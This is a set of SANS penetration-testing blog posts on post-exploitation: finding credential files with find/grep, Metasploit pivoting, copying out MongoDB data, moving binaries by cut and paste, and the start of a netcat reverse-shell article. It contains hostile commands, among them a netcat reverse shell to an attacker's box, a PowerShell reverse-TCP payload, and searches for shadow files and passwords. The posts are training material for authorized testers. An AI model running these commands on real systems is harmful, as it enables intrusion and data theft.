SANS Pen Test Poster: Pivots Payloads Boardgame

 

We are excited to introduce to you the new SANS Penetration Testing Educational Poster, “Pivots & Payloads Board Game”! It is a poster and a board game. How is it a board game? You can lay it down on a table, cut out the game pieces and game modifiers, use a dice to move your piece around the board…and play with your friends, colleagues, and/or family.

The board game takes you through pen test methodology, tactics, and tools with many possible setbacks that defenders can utilize to hinder forward progress for a pen tester or attacker. The game helps you learn while you play. It’s also a great way to showcase to others what pen testers do and how they do it.

We have made the poster/board game available to download, with additional downloads of the cheat sheets, game pieces, and game modifiers. We will add additional content to this blog page as we continue to evolve the board game and improve on it in future versions.

Download PDF of Pivots & Payloads:

http://blogs.sans.org/pen-testing/files/2018/11/PEN-PR-BGP_v1_1018_WEB_11052018.pdf

PEN-PR-BGP_v1_1018_WEB_FINAL_11052018_web_front

PEN-PR-BGP_v1_1018_WEB_FINAL_11052018_web_back

Additional Pivots & Payloads:

Desktop Wallpaper

PEN-PR-BGP_v1_1018_wallaperV1

PEN-PR-BGP_v1_1018_wallaperV2

Game Pieces – Print PDF

Pieces

Cheat Sheets – Print PDF

HashCat

Recon

NetCat

Pen Test Cheat Sheets:

SANS Pen Test Training:

SANS Pen Test Posters:

Build your Skills (Free):

SANS Penetration Testing Webcasts (YouTube):

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Bash – Find Juicy Stuff in the File System

Board Elements_clean_Find Juicy Stuff in the File System-05

By Matthew Toussain, Geoff Pamerleau

Pilfering data is a post-exploitation phase that rarely receives enough credit. As pentesters, the way we demonstrate security risk and the way we escalate our attacks to a new level is based entirely on what we find after the compromise is realized. While manually driving the command line from directory to directory in an endless cycle of cd and ls, is a possible solution it hardly scales to an enterprise of hundreds of systems. The first step is to key in on target data types: Do users keep usernames or passwords in text files? Are there configurations we can read that might contain database credentials or hashes? Could there be email addresses or phone numbers to pilfer for use in social engineering efforts? With a little bash-fu we can get the answers to these questions and many more with relatively little effort.

 

Methods Covered in this Section:

find filtering by path, filename, and permissions

find /path -iname "FILTER" -perm PERM

find with flags used to list or delete files found

find /path -iname "FILTER" -ls

find with grep to quickly identify files of interest

find /path -iname "FILTER" -exec grep -i "CONTENT" {} \;

 

Find FTW

The find command is an incredibly powerful tool available on most Unix derived systems. With it we can quickly search the filesystem to find interesting files. At its simplest, we can use the find command to locate files based on file attributes such as modified, accessed or created times, ownership and access attributes, and file type. When searching by file name we can use either the -name or -iname flags. The flags function the same except for the -iname flag makes our search case-insensitive. When using the flags we use glob expressions. So if we want to search the whole filesystem for any copies of the shadow file something like the following would work:

find filtering by path or filename:
find / -iname "shadow*"

findjuicy01Permission denied errors are no fun

 

Command Breakdown:

find / -iname "shadow*"

1. find - Command line tool to search for files
2. / - The path that we want to initiate our find from; starting from / will search the entire filesystem
3. -iname - Perform case insensitive search of file names
4. "shadow*" - The shell pattern supplied to -iname; files like /etc/shadow or /etc/shadow.bak will match but /etc/gshadow would not. Note: unlike normal shell expansion leading '.' will be matched by the * character.

 

When running as a non root user we will frequently get ‘Permission denied’ errors. In that case redirecting standard error to /dev/null should help us prettify our results. If we want to get a more traditional ls style output for each of the files found by our find command we can use the -ls flag. The fleshed out version of our previous command might now look like this:

find with flags used to list or delete files found (w/error redirection)
find / -iname "shadow*" -ls 2>/dev/null

findjuicy02The permission denied errors are gone

 

What if we want to filter for only the files we have the appropriate level of access to actually use? Consider this: Let us say we have an unprivileged account on the target and we are not in the shadow or root groups. We can filter results with the -perm flag to find only files where the read flag has been set for others. In order to make this permissions search non-exclusive, that is if the read and write flag is set for others we still want to see it, we have to specify the permissions that we are looking for starting with a “/”. So our previous command might now look like this:

 

find results can also be filtered by file permissions as well (-perm) flag
find / -iname "shadow*" -perm /o+r -ls 2>/dev/null

findjuicy03

 

We filtered out the /etc/shadow file that was not readable to us due to restrictive permissions. Now we can see that there is a shadow backup file that is world readable! Go grab those hashes and elevate privileges!

 

Content is King!

The find command supports many flags that determine what gets done to each file found by our search parameters. In addition to the -ls flag which performs an ls on matching files and the -delete flag which will delete any matching files there is the -exec flag. This flag allows us to run an arbitrary command against each file found from the original find command. By using -exec to run grep or egrep on each of the files that our find command locates we can quickly search the file system for email addresses, database passwords, or really any other content of interest that a regular expression can be written to match on.

We can combine the previous find knowledge with -exec to look for all .txt files containing a defined password field or variable name with something like:

find with grep to search for strings inside of files:
find /home -iname "*.txt" 2>/dev/null -exec grep -i 'pass' {} \;

findjuicy04Holy Wall-of-Text Batman! Let’s simplify the output to make things easier

 

Command Breakdown:

find /home -iname "*.txt" 2>/dev/null -exec grep -i 'pass' {} \;

1. find /home -iname "*.txt" 2>/dev/null - same old find-fu from before
2. -exec COMMAND - Specify an arbitrary command to run on each file.
3. {}\; - When using -exec the '{}' will be replaced by the currently found file. Note that the ending ';' needs to be escaped with the ‘\’ character.

 

That was a lot of output, if we just want to see which files contained what we were grepping for we can modify our grep command with the -l flag to list the file instead of the matching line:

 

find with grep to quickly identify files of interest:
find /home -iname "*.txt" 2>/dev/null -exec grep -li 'pass' {} \;

findjuicy05Not perfect but much easier to see which files might contain the information we want

 

What about if we wanted to search for something a bit more specific than just the phrase ‘pass’ in a file? Well with -exec and egrep we can search for any content that we can make a regex for. How about checking for email addresses?

 

find with egrep to quickly identify files of interest using regular expressions:
find /home -iname "*.txt" 2>/dev/null -exec egrep -li "^.+@.+$" {} \;

findjuicy06

Note: grep -E could be used instead of egrep

 

We can use the cat command to explore the contents of each of these files, and grep -C # to filter for a certain number of lines above and below the desired string. This technique is extremely helpful when searching for contextual information that may not be on the exact same line as our search filter.

Browsing through regular expression sites like http://www.regexlib.com/ can lead to some useful expressions to help us find all sorts of things like email addresses, social security numbers, md5 hashes, UUIDs, phone numbers, and credit card numbers.

NOTE: Some of this information can be highly privileged (especially based on host nation privacy restrictions). Accessing PII and HIPAA information from third party systems can lead to accreditation and compliance troubles. Please exercise caution and seek legal advice where appropriate.

When your ROEs, scope, and plan are solid, happy hacking!

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Got Meterpreter? PivotPowPY!

 

by Cliff Janzen

My how time flies. It seems like only yesterday I wrote the post Got Meterpreter? Pivot! (/blog/2012/04/26/got-meterpreter-pivot), but it has been four and a half years. In our industry, the only thing constant is change and Mr. Ed Skoudis gave me the opportunity to revisit this topic to see what has changed. Thank you Ed.

So, once again, we will start with the same scenario:

We have a Metasploit Meterpreter shell with Admin/System privileges on an in-scope target Windows box. We will call this system X and it is in the DMZ. Do the root dance, pillage the heck out of it and get ready to pivot!

There are many ways to leverage the exploited system to discover, scan, and pivot to other devices in the target network. This article will discuss some ways to leverage the Metasploit Framework (http://www.metasploit.com/) (hereafter referred to as Metasploit) to accomplish various kinds of pivots, although there will be some non-Metasploit tips scattered throughout as well. Where a technique from the previous post is still valid, it will be referenced. Our test system, X, uses a dual homed network, one network connected to the 172.16.33.x DMZ network and one connected to the 192.168.100.x internal network. The same techniques described below can be used for VLANs or physically separate networks that have paths to route to different networks.

Let’s go.

Sniffer

Watching the network interactions between devices is still one of my favorite ways to learn who, what, when and why an exploited system communicates with others on the network.

Meterpreter still has the sniffer module discussed in the last post available. In fact it has been updated with x64 support since then. However, rather than rehash sniffer, we will use the Packet Recorder sniffer extension written by Carlos Perez.

Packet Recorder uses sniffer, but makes it even easier. Start by executing the command run packetrecorder –li in the Meterpreter session to list out the available network interfaces, then execute the command run packetrecorder –i 3. To end the capture, carefully press CTRL-C then open up the capture and look for interesting info. The example below shows the entire process.

pivotPowPy_01

Not using Metasploit? For some reason when writing the post in 2012, I didn’t mention the built in netsh capability so let me correct that oversight now. The netsh trace command can be used. There are all sorts of filters that can be used but a simple method is just to use the IPv4Address flag as shown in the screenshot below.

This capture is saved in ETL format and can be viewed using Microsoft Message Analyzer. You can also convert the ETL capture to PCAP format with a couple of PowerShell commands. See the Internet Storm Center post in the references for more details.

pivotPowPy_02

 Route and Auxiliary scan

There are more than 250 post-exploitation modules currently available in Metasploit. A lot of them are used to gather info from the exploited system and a few of these are very useful in a pivoting situation.

A couple of good ones, again compliments of Carlos Perez, which can be used to determine what other systems are on the network are
post/windows/gather/arpscanner and post/multi/gather/pingsweep.

pivotPowPy_03

pivotPowPy_04

As illustrated above, these scans identified a few systems we can potentially pivot to.

Routing and Proxy

Routing is even easier then it was in 2012. From within your Meterpreter session simply type run autoroute –s subnet, then ctrl-z to go back to the Metasploit console and use the new route with some of the auxiliary TCP based scan modules and if we find something juicy, even exploit through the autoroute. The example below shows using our exploited system as route to identify listening ports from the systems discovered during the ping_sweep,

pivotPowPy_05

PORTFWD, SOCKS proxy and SSH Tunnelling illustrated in the previous post still works well. If you haven’t used them yet, you should. Re-read the post and setup a test lab to ensure you see it in action. You won’t regret it.

One new development since that post is the addition of PowerShell version of SSH. Personally, I have only done limited tunnelling testing with the Microsoft backed version https://github.com/PowerShell/Win32-OpenSSH. If you have had some successes or challenges using PowerShell implementations of SSH for pivoting I would love to see them in the comments below.

No MSFMAP

Unfortunately, it appears that the module MSFMap by SecureState is no longer working in the current versions of Metasploit. All is not lost, though. There have been some very handy additions to Meterpreter that we can use in its place.

PowerShell

There are many ways to get a PowerShell session with Metasploit. One of the easiest is to use an existing session to create a PowerShell session. Background the existing session and do the following run the module exploit/windows/local/payload_inject with the Windows/powershell_reverse_tcp payload as shown below.

pivotPowPy_06

From here you can run (almost) any PowerShell module. In the example below, a PowerShell script, Invoke-TSPingSweep, which was modified a bit to make it more display friendly, was uploaded via Meterpreter, imported and then executed.

pivotPowPy_07

Note that some scripts will behave differently when run in the injected session. In particular watch out for scripts that use out-host and some that do not handle network connection timeouts will return big ugly errors like this one below, but will typically continue.

pivotPowPy_08

Python

Another new addition is the ability to run Python directly in a Meterpreter session!!

This ability is still being developed and currently, there are some technical issues that limit some of the usefulness, for instance you can’t have the Python script run in the background (https://github.com/rapid7/metasploit-framework/issues/6369),. Still, this is an great addition and one that certainly will be useful when pivoting.

pivotPowPy_09

 

Imagine being able to easily use your favorite Python code from Black Hat Python, Violent Python or the SANS Security 573 class. Wonderful!

Not using Metasploit? As briefly shown above, PowerShell is a very powerful tool for the penetration tester and can be especially handy for post exploitation activities. All of the automated penetration testing programs provide PowerShell modules and a lot of very good work is being done on utilizing PowerShell for both defense and offense.

PowerShell remoting may not always available, but if it is, it can be a quick way to pivot around a network. From an existing PowerShell session run the command New-PSSession –ComputerName abc.fg.hi then to interact with the shell run the command Enter-PSSession X

pivotPowPy_10

What’s next?

I don’t see any slowdown in the opportunities to pivot through the network anytime in the near future. Do you have a favorite I haven’t mentioned? If so, please share it in the comments.

Thank you for your time

Cliff

https://twitter.com/cjisme2

References:
https://isc.sans.edu/forums/diary/No+Wireshark+No+TCPDump+No+Problem/19409
https://gallery.technet.microsoft.com/scriptcenter/Invoke-TSPingSweep-b71f1b9b
https://technet.microsoft.com/en-us/magazine/ff700227.aspx
https://blog.netspi.com/powershell-remoting-cheatsheet/
http://www.darkoperator.com
https://vimeo.com/140723133

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

NoSQL? No Problem! Pillaging MongoDB for Fun and Profit

By Josh Wright

Database technology continues to evolve to meet different application needs. One example of this is the adoption of NoSQL databases used by many different modern web applications. NoSQL databases depart from the traditional table-based storage mechanisms widely known and loved (mildly appreciated?), and instead store simple key-value data pairs, JSON documents, graph data, or tuples (and variations of these types).

A popular NoSQL database type is MongoDB. MongoDB falls under the document-based NoSQL storage model, requiring that all data is stored in JSON-formatted documents. This integrates nicely with lots of web applications that need fast access to data in a format that’s convenient and easy to work with.

As a pen tester, I’ve run across some MongoDB databases. Here are some tips on effectively pillaging MongoDB.

MongoDB Files

From your shell, look for a MongoDB process running. Check for command-line arguments that indicate the location of the mongodb.conf configuration file. If the mongod process isn’t running, still check the usual places for a mongodb.conf file (/etc, /usr/local/etc, et cetera).

pillagingmongodb-0

The mongodb.conf file is straightforward, but it has a lot of whitespace and comments. The interesting entry is “dbpath”, which points to the location of the database files.

pillagingmongodb-1

The MongoDB files themselves require a little explanation:

pillagingmongodb-2

  • cust.0, local.0 – These are database files for MongoDB. Each MongoDB instance has “local” as a database, and one or more additional user databases. Database files are preallocated in size and populated as needed, growing to “cust.1”, “cust.2” as needed.
  • cust.ns, local.ns – Namespace files, which also store indexes and collections of data within a database (conveniently referred to as a “collection”; more on collections below).
  • journal/ – Used for transaction logging and recovery following a MongoDB crash.
  • mongod.lock – Present when MongoDB is running, removed when it stops cleanly.
  • storage.bson – MongoDB storage metadata resource.
  • _tmp – Temporary use directory by MongoDB.

MongoDB Data Replication

You can inspect data locally on the server, or tar up the mongodb directory and copy it to a local box for analysis.

Use any file transfer technique you have available; I’m using Netcat here. First, on my analysis system:

pillagingmongodb-3

 

Next, tar and send the data to your listener:

pillagingmongodb-4

Returning to the analysis system, we have the extracted data available:

pillagingmongodb-5

I’m using a Mac for analysis with Homebrew for package management. Installing MongoDB is a simple “brew install mongodb” for me. Debian-based Linux users can use “apt-get install mongodb”.

Once MongoDB is installed, create a simple configuration file as shown then start the mongod process with the “–config” argument. You can put it in the same directory as the database files:

pillagingmongodb-6

With a local copy of the data, we can start to examine the database, collection, and document data.

Tip: If you get the error message “old lock file: ./mongod.lock. it probably means unclean shutdown” and mongod.lock exists, remove the mongod.lock file and start mongod again.

MongoDB Data Inspection

The “mongo” utility is used to access the local MongoDB data files locally. By default, this requires no authentication. First, we query the available databases (these names also match the *.ns files in the dbpath directory):

pillagingmongodb-7

Here we see the two databases as expected: cust, and local. The local database is used for instance-specific data, while the cust database is data stored by the customer application. Next, we switch from the default database name of “test” to the “cust” database and enumerate the available collections:

pillagingmongodb-8

In MongoDB, a collection is a grouping of documents within a database. Logically, it’s like a table in a traditional RDBMS system, but without the rigid data formatting constraints. Using the constant “db” prefix, we can use the collection name and built-in collection methods available. The db.collection.findOne() method with no arguments will return the first entry in the collection:

pillagingmongodb-9

 

Tip: None of these names, passwords, credit card numbers, or phone numbers are real. Thanks.

Now that we have some information about the document structure, we can apply query operators to focus on specific data. For example, if we want to search only for the first entry where the GivenName is “Joshua”, we can use the following query with a simple JSON declaration:

pillagingmongodb-10

 

If you want to collect all the matches for a given query, use the db.collection.find() method:

pillagingmongodb-11

Here, the data is not “prettified”, but we get more than one record in the results. For more examples of using the query() method with different data sets, see the Find or Query Data with the mongo Shell article.

Using findOne() and find() you can retrieve data from the collection and database, but it’s not terribly convenient for large-scale pillaging. As an alternative, we can use the command-line tool “mongoexport”. This tool requires a database and collection name, and will generate a JSON file as the output:

pillagingmongodb-12

If you prefer, you can also export data in CSV format, but you have to specify each of the field names you want exported, as shown:

pillagingmongodb-13

MongoDB And You

With a little background information on how to interact with a MongoDB instance, you can successfully pillage useful data. Keep these steps in mind, and apply them when you encounter a MongoDB instance in your next pen test.

-Josh Wright
@joswr1ght

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Post Exploitation Redux Webcast Slides

Last Thursday, John Strand and I delivered a new webcast on post exploitation, covering all kinds of tips and tricks.  I focussed on some of the cool stuff you can do with the Windows netsh command, including setting up port pivots, sniffing, and gaining remote access to a target’s network configuration.  John Strand discussed a new tool his team released that provides a command and control channel via gmail.  We covered a lot of fun and useful material.

Pillage

The slides are available here.

And, if you’d like to hear the webcast itself, you can do so here.

If you really like this kind of thing, I hope you’ll consider taking the SANS Security 560 course from me soon, where we delve deep into the art of high-value penetration testing.  I’ll be teaching it at SANS Orlando in April.  Hope you can join us there!

Thanks!

–Ed Skoudis & John Strand

Awkward Binary File Transfers with Cut and Paste

[Editor’s note: Josh Wright spins up another useful blog article about different ways to move files to and from Linux systems.  Lots of nice little tricks in this one.  Thanks, Josh! –Ed.]

By Josh Wright

Sometimes I find myself with access to a remote Linux or Unix box, with limited opportunity to transfer files to my target. I appreciate the “Living off the Land” mentality and relying on locally-available resources instead of adding tools to my host as much as the next guy (or gal), but sometimes I need a binary to get the job done.

Fortunately, I’ve been working with Unix and Linux for a long time, and I remember old techniques back when modems made that horrible screeching sound. As long as you have a terminal, you can upload and download files regardless of other network access… with a little awkwardness.

Encode and Clip

In the example that follows, I’m going to transfer the netcat-traditional “nc” binary to my target system.  I’m starting from Kali Linux, and my target is a CentOS system.  The distribution type makes little difference for these steps, other than ensuring your binary will work on the target system.

Step 1: Compress the Source Binary

Compress the source binary using a method that will be accessible on the target system.  Gzip is usually a smart choice:

-rwxr-xr-x 1 root root 22140 Jun 12 2012 /bin/nc.traditional
root@kali:~# gzip /bin/nc.traditional
root@kali:~# ls -l /bin/nc.traditional.gz
-rwxr-xr-x 1 root root 11197 Jun 12 2012 /bin/nc.traditional.gz

Step 2. Install Sharutils and Xsel

On the attacker system, install  the sharutils and xsel packages (we’ll use them next):

root@kali:~# apt-get install sharutils xsel
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
sharutils xsel
...
Setting up sharutils (1:4.11.1-1) ...
Setting up xsel (1.2.0-1) ...

Step 3. Alias Pbcopy

Mac OS X has a wonderful tool “pbcopy”, which takes the STDOUT from one program and places the content in the clipboard.  This makes it so you can “cat” a file and send the output to the clipboard without having to highlight everything in your terminal with a mouse.  Linux users have also had this for a while with the “xsel” (and “xclip”) tool.  Create an alias for pbcopy in your login profile so it is always accessible and easy to remember:

root@kali:~# echo "alias pbcopy='xsel --clipboard --input'"
>>~/.bash_profile
root@kali:~# source ~/.bash_profile
root@kali:~# alias pbcopy
alias pbcopy='xsel --clipboard --input'

Step 4. Transfer the File

With the prerequisites out of the way, we’ll transfer the file to the target system.  First we convert the binary 7-bit ASCII format using the uuencode utility.  Uuencode is the precursor the Base64 or MIME encoding techniques, and it breaks up the ASCII content into 63-character lines that makes it simpler to cut-and-paste than Base64 encoding.  In the example below, we specify the input filename twice – the first is the actual file, and the 2nd is the filename reference inside the uuencoded data:

root@kali:~# uuencode /bin/nc.traditional.gz /bin/nc | pbcopy

Next, switch to your target system, and create a new file using “cat”, pasting the content from the clipboard, and pressing “CTRL+C” at the end of the paste to close the file and return to the shell:

josh@centos:~ $ cat >nc.gz.uu
begin 755 /bin/nc.traditional.gz
M'XL("$YEUT\``VYC+G1R861I=&EO;F%L`-U\?WR4U97W,Y,)#B%D8H46*VT?
M==!@DT@0+3\U0$"T42,BV@+"D,PP(\G,=.:9`+Y40B<!QB$VW5I?=VLKE&[7
...
M/OH.]5W3B_+P.&ZOY='CMZ^.WG$^/:;7\_"XYAP'WID+X!W,IW<`]!I4S%3(
E7\KLGWA\K:SR3LPG6PY/-W.+EO4C7OZW(*TF_Q=K0^LO?%8`````
`
end
^C
josh@centos:~ $

Now we have a file called nc.gz.uu which we want to uudecode.  Do not fear if the target system is missing the uudecode utility — we have Python!

josh@centos:~$ python -c 'from uu import decode; decode("nc.gz.uu", "nc.gz")'
josh@centos:~$ gzip -d nc.gz
mock@centos:~$ chmod 755 nc
josh@centos:~$ ./nc -h
[v1.10-40]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
…

This process can get annoying when transferring multiple files, so remember that you can use tar to create an archive of everything you need to transfer first.

Conclusion 

Writing this article made me feel old.  I distinctly remember using this same technique back when I was writing articles for Virus Laboratories and Distribution (VLAD) in the 90’s.  That was ages ago, but good tricks die hard.

-Joshua Wright
jwright@willhackforsushi.com

Using Built-Ins to Explore a REALLY Restricted Shell

By Ed Skoudis and Josh Wright

Josh Wright and I were working on a project recently which involved a target machine with a really restricted shell environment. I’m not talking about a mere rbash with some limits on the executables we could access, but instead a shell so restricted we could not run any binaries at all, save for the shell itself. No ls…  no cat… no netcat… we could access very little. It was some sort of ghastly chroot specter.

Still, Josh and I wanted to explore the target machine as much as we could given these shell restrictions. Of course we could have tried escaping our restricted shell (as Doug Stilwell describes in more detail here) and even doing privilege escalation, but before that, we wanted to just look around. Thankfully, we had many shell built-in capabilities we could rely on.

For the uninitiated, shell built-ins are features of the shell that don’t rely on separate binaries in the system. For example, in bash, commands such as alias, printf, and echo are built-ins, which the shell can do itself, without calling a separate program. While some of these built-ins also have a binary of the same name (/bin/echo for example), your shell can rely on the built-in independently from the binary. Indeed, it can perform the task even if the binary isn’t available. Turns out, you can do a whole lot with these shell built-ins.

A handy list of bash built-ins is available here, and can be quite an inspiration when faced with a task like that before Josh and me.

We started by looking around in the file system, using the following well-known trick as our rough “ls” equivalent:

$ echo *
file.txt

We then wanted to look at the contents of file.txt, so we ran:

$ while read line; do echo "$line"; done < file.txt
Hello World!
This is a nice file.
Happy Holidays!

We then wanted to search through a file to find a specific string, rather like grep:

$ while read line; do if [[ $line == *"nice"* ]]; then echo $line; fi; done < ./file.txt
This is a nice file.

Want a count of the number of lines in a file (rather like wc -l)? Use something like:

$ i=0; while read line; do i=$(($i+1)); done < ./file.txt; echo $i  
3

Want your UID number? You should try:

$ echo $UID
1024

Wanna do a whoami? If you have access to the world-readable /etc/passwd, you could build on what we saw above with:

$ while read line; do if [[ $line == *":x:$UID:"* ]]; then echo ${line%%:*}; fi; done < /etc/passwd
nobody

Those are just a few of the useful items we performed with built-ins. Got any more you’d like to share? Please do provide them in the comments below.

Thanks!

— Ed Skoudis & Josh Wright

Announcing the Awesome New SANS Brochure Challenge

Here’s some fun news.  SANS just released a new kind of challenge – one that unfolds from the pages of a SANS brochure itself.  Created by Jeff McJunkin and a group of challenge-writing collaborators, we launched it this week with the mailing of the SANS Network Security brochure for the upcoming conference in Las Vegas in October 2014.  This challenge will take you across many domains of knowledge, including (but not limited to!): infosec fundamentals, pen testing, digital forensics, steganography, social media, mobile devices, and much, much more, all wrapped up in some geeky fun!

You’ll enjoy all these areas and more from the comfort of your brochure (paper or pdf) and local computer, along with everyone’s favorite global network, the Internet itself. You’ll be able to advance all the way through this challenge from anywhere in the world. If this sounds a bit overwhelming, don’t worry!  We recommend you start on the challenge now, and have fun with it.

Regardless of whether you can make it to the conference in Vegas or not, you can still participate in the challenge and win prizes by working from the brochures or their pdfs.  If you receive SANS brochures in the mail, you should be on the lookout for the Network Security brochure in the mail this week for the challenge details on Page 2.  Or, skip the paper altogether and jump on sleuthing and hacking your way through the challenge by clicking on the image below to download the Network Security brochure.  The challenge starts on Page 2 in the section cleverly titled “SANS Brochure Challenge.”

Once you conquer the first challenge in the Network Security brochure, you’ll see other challenge components in the SANS Albuquerque brochure (shipped the week of 7/10/14, but downloadable here now), the SANS Baltimore brochure (shipped the week of 7/31/14, but downloadable here now), and the SANS Seattle brochure (shipped the week of 8/14/14, but downloadable here now) over the next few weeks.  We’ll post reminders about those brochures in this blog when they hit the mail as well.  You can get rolling and make some huge progress based on what’s in the Network Security (Vegas) brochure alone.

So, how can you win and earn the undying respect of all your friends? There are three ways to win, though for each of them you’ll need to finish the challenge. We’ll award prizes to the first person to complete the challenge, the person with the best technical write-up describing how they did it, and one lucky person who wins a random draw from all entries.

This innovative, quirky, and fun challenge itself will tell you where to send your answer when you conquer it!

What will you win?

The person with the best technical write-up will receive a signed copy of  the “Counter Hack Reloaded” book, as will the winner of the random drawing.  We’ll also tell everyone about your amazing work as a victor in this challenge!  And, the first person to finish the challenge will receive the GRAND PRIZE – a free four-month subscription to NetWars Continuous, valued at over $2,000! You’ll have plenty of opportunities to develop your skills practicing in this on-line cyber range, especially with our NetWars Continuous automated hint system to ensure a Stuck-Free™ experience!

Rules of Engagement for the brochure challenge:

  • No denial of service attacks
  • No brute force attacks – although you won’t gain access in this way, you could slow down the experience for other players
  • No attacks against the web servers or their underlying operating systems
  • No sharing of challenge links, hints, or write-ups before the contest deadline has passed

Have fun with our SANS first ever official brochure challenge!

–Jeff McJunkin, Ed Skoudis, and the SANS Team

Netcat without -e? No Problem!

by Ed Skoudis

Many pen testers know how to create a reverse backdoor shell with Netcat.  But, what do you do if you have a Netcat that doesn’t support the -e or -c options to run a shell?  And, what if your target doesn’t support /dev/tcp?  In this article, I’ll show you a nifty little work-around using some command-line kung fu with shell redirects.

Background

Netcat is fantastic little tool included on most Linuxes and available for Windows as well.  You can use Netcat (or its cousin, Ncat from the Nmap project) to create a reverse shell as follows:

First, on your own pen test machine, you create a Netcat listener waiting for the inbound shell from the target machine:

skodo@pentestbox# nc -nvlp 443

Here, I’m telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), to listen (-l) on a given local port (-p).  For some versions of Netcat, you leave the -p off of the listener invocation.  Note that you need root-level privileges to listen on a port less than 1024.  I’m using 443 here because it is more likely to be allowed outbound from my target environment to get back to my pentestbox Netcat listener, and is less likely to get noticed.  Some organizations assume all TCP 443 traffic to be HTTPS, and therefore don’t bother inspecting that traffic because they expect it to be encrypted.  That’s a bad assumption on their part.

Then, on the target machine, get the following command to execute (perhaps via command injection in a web app or some other attack technique):

victim$ nc pentestbox 443 -e /bin/bash

This command invokes a Netcat client on the victim, which connects to the attacker’s pentestbox on TCP port 443.  The Netcat client then executes /bin/bash (-e /bin/bash) on the victim, connecting that shell’s Standard Input and Standard Output to the network (that’s what Netcat’s -e option does… the -c option on some versions of Netcat is similar, except instead of executing just a single program, with no options, to connect, it executes a command which could have various parameters).

Then, on the pentestbox machine, we’ll see the inbound connection, which we can type commands into as follows (typed commands in bold):

skodo@pentestbox# nc -nvlp 443
listening on [any] 443 ...
connect to [AttackerIPaddress] from (UNKNOWN) [VictimIPaddress]
whoami 
apache
hostname 
victim

But, What If You Don’t Have -e Support?

OK.  That’s all well and good… pretty standard fare for pen testers.  But, what if you have a version of Netcat that doesn’t support the -e option?  In the traditional Netcat, if the well-named GAPING_SECURITY_HOLE option isn’t defined in the Netcat source when it is compiled, your resulting Netcat executable won’t support -e.  Is all hope lost? Not at all.  Years ago, I demonstrated how you could use /dev/tcp to implement a Netcat-like backdoor, without using Netcat at all.  You can see it in my presentation called “Netcat without Netcat” here (slide 17 talks about the technique).

But, to use that technique, you need to have a bash that supports /dev/tcp.  What if the target Linux is a Debian variant, which typically has a bash compiled without /dev/tcp support?  Or, worse yet, what if the target system doesn’t even have bash!  Some stripped down Linuxes rely on other shells, such as plain old sh or ash.  Shudder.  Wow… sucks to be you.  You’ve got a target Linux, but without a /dev/tcp and without a -e option in Netcat.  Should you just give up?  Nope.

I have, near my house, a magical Olive Garden.  In this restaurant, I get all kinds of crazy ideas, often sitting at the bar awaiting my family to join me for dinner.*  I was once sitting there, contemplating a penetration test I was working on, when suddenly it hit me: I can make something that works like Netcat with -e, even without a -e, by leveraging my shell.

